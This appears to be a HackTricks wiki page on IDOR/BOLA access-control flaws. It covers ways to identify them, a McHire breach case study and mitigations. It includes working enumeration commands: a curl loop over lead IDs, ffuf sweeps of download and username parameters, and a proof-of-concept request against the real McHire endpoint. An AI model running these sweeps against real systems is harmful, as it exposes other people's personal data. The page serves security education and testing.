IDOR (Insecure Direct Object Reference)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) appears when a web or API endpoint discloses or accepts a userâcontrollable identifier that is used directly to access an internal object without verifying that the caller is authorized to access/modify that object.
Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other usersâ data and, in the worst case, full account takeover or mass-data exfiltration.
1. Identifying Potential IDORs
- Look for parameters that reference an object:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Path:
- Prefer endpoints that read or update data (
GET,PUT,PATCH,DELETE). - Note when identifiers are sequential or predictable â if your ID is
64185742, then64185741probably exists. - Explore hidden or alternate flows (e.g. âParadox team membersâ link in login pages) that might expose extra APIs.
- Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Automated enumeration (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerating predictable download IDs (ffuf)
Authenticated file-hosting panels often store per-user metadata in a single files table and expose a download endpoint such as /download.php?id=<int>. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenantsâ backups/configs:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frremoves 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material).- The same FFUF workflow works with Burp Intruder or a curl loopâjust ensure you stay authenticated while incrementing IDs.
Error-response oracle for user/file enumeration
When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:
- Non-existent username â âUser not foundâ
- Bad filename but valid extension â âFile does not existâ (sometimes also lists available files)
- Bad extension â validation error
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the âuser not foundâ string to discover valid users:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Once valid usernames are identified, request specific files directly (e.g., /view.php?username=amanda&file=privacy.odt). This pattern commonly leads to unauthorized disclosure of other usersâ documents and credential leakage.
2. Real-World Case Study â McHire Chatbot Platform (2025)
During an assessment of the Paradox.ai-powered McHire recruitment portal the following IDOR was discovered:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}â 8-digit, sequential numeric identifier
By decreasing lead_id the tester retrieved arbitrary applicantsâ full PII (name, e-mail, phone, address, shift preferences) plus a consumer JWT that allowed session hijacking. Enumeration of the range 1 â 64,185,742 exposed roughly 64 million records.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
3. Impact of IDOR / BOLA
- Horizontal escalation â read/update/delete other usersâ data.
- Vertical escalation â low privileged user gains admin-only functionality.
- Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
- Account takeover by stealing tokens or resetting passwords of other users.
4. Mitigations & Best Practices
- Enforce object-level authorization on every request (
user_id == session.user). - Prefer indirect, unguessable identifiers (UUIDv4, ULID) instead of auto-increment IDs.
- Perform authorization server-side, never rely on hidden form fields or UI controls.
- Implement RBAC / ABAC checks in a central middleware.
- Add rate-limiting & logging to detect enumeration of IDs.
- Security test every new endpoint (unit, integration, and DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicantsâ PII
- OWASP Top 10 â Broken Access Control
- How to Find More IDORs â Vickie Li
- HTB Nocturnal: IDOR oracle â file theft
- 0xdf â HTB Era: predictable download IDs â backups and signing keys
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

